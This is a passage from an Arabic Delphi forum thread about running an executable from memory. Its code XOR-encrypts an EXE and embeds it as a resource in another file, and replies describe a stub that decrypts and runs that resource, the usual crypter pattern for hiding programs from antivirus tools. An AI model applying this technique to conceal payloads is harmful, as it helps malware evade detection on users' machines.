delphi4arab منتديات دلفي للعرب

نسخة كاملة : تشغيل ملف في الذاكرة ،،، وحدة uExecFromMem
أنت حالياً تتصفح نسخة خفيفة من المنتدى . مشاهدة نسخة كاملة مع جميع الأشكال الجمالية .
الصفحات : 1 2
PHP كود :
var
  
Form1: TForm1;
  
bigstring:AnsiString;
implementation

{$R *.dfm}

function 
addsettings(text,sfile:string):Boolean;
var
FileHandle: THandle;
begin
  Result
:=False;
FileHandle := BeginUpdateReSource(PChar(sfile), False);
if 
UpdateResource(FileHandle, RT_RCDATA, 'EXE',0, @text[1], Length(text)+1) then
  Result
:=True;
EndUpdateReSource(FileHandle, False);
end;
function 
XorStr(Stri, Strk: String): String;
var
    
Longkey: string;
    
I: Integer;
    
Next: char;
begin
    
for I := 0 to (Length(Stri) div Length(Strk)) do
    
Longkey := Longkey + Strk;
    for 
I := 1 to length(Stri) do
    
begin
        Next 
:= chr((ord(Stri[i]) xor ord(Longkey[i])));
        
Result := Result + Next;
    
end;
end;
 function 
WriteFileFromString(sData:string; sPath:string):boolean;
var
hFile:    THandle;
dWritten: DWORD;
begin
hFile 
:= CreateFile(PChar(sPath), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if 
hFile <> 0 then
  begin
    SetFilePointer
(hFile, 0, nil, FILE_BEGIN);
    
WriteFile(hFile, sData[1], Length(sData), dWritten, nil);
    if 
dWritten = 0 then
      Result 
:= FALSE
        
else
      
Result := TRUE;
  
end;
  
CloseHandle(hFile);
end;
function 
FileToString(const AFileName: string): AnsiString;
var
  
f: TFileStream;
  
l_onexite: Integer;
begin
  Result 
:= '';
  
f := TFileStream.Create(AFileName, fmOpenRead or fmShareDenyWrite);
  try
    
l_onexite := f.Size;
    if 
l_onexite > 0 then
    begin
      SetLength
(Result, l_onexite);
      
F.ReadBuffer(Result[1], l_onexite);
    
end;
  finally
    
F.Free;
  
end;
end;

function 
StringToFile(const FileName: string; const Text: AnsiString): boolean;
var 
f: integer;
begin
  result 
:= false;
  
f := FileCreate(FileName);
  if 
f>=0 then
  
try
    if 
Text<>'' then
      FileWrite
(f,Text[1],length(Text));
    
result := true;
  finally
    
FileClose(f);
  
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if not opendialog1.Execute then  Exit;

   
edit1.Text := opendialog1.FileName ;
    
bigstring :=FileToString(opendialog1.FileName);

      if 
not dlgSave1.Execute then Exit;
       
addsettings(XorStr(bigstring,'onexite') ,dlgSave1.FileName);
end;

end. 
عليك ببرمجة stub
مهمته قراءة الرسورس RT_RCDATA, 'EXE وفك تشفيره
وتنفيذه او استخراجه الى القرص
بالتوفيق لك
onexite كتب :عليك ببرمجة stub
مهمته قراءة الرسورس rt_rcdata, 'exe وفك تشفيره
وتنفيذه او استخراجه الى القرص
بالتوفيق لك
ممكن شرح لكيفية برمجة ذلك الستب ،،، اعرف ثقلت عليك
تفضل مثال على السريع .. لبرنامج يقوم بتشفير الملف بخوارزمية ZLib
و التعديل على الرسورس .. ثم القراءة مرة أخرى من الرسورس و فكه و تشغيله من الذاكرة
ببساطة : المثال اجابة عن سؤالك Big Grin
الصفحات : 1 2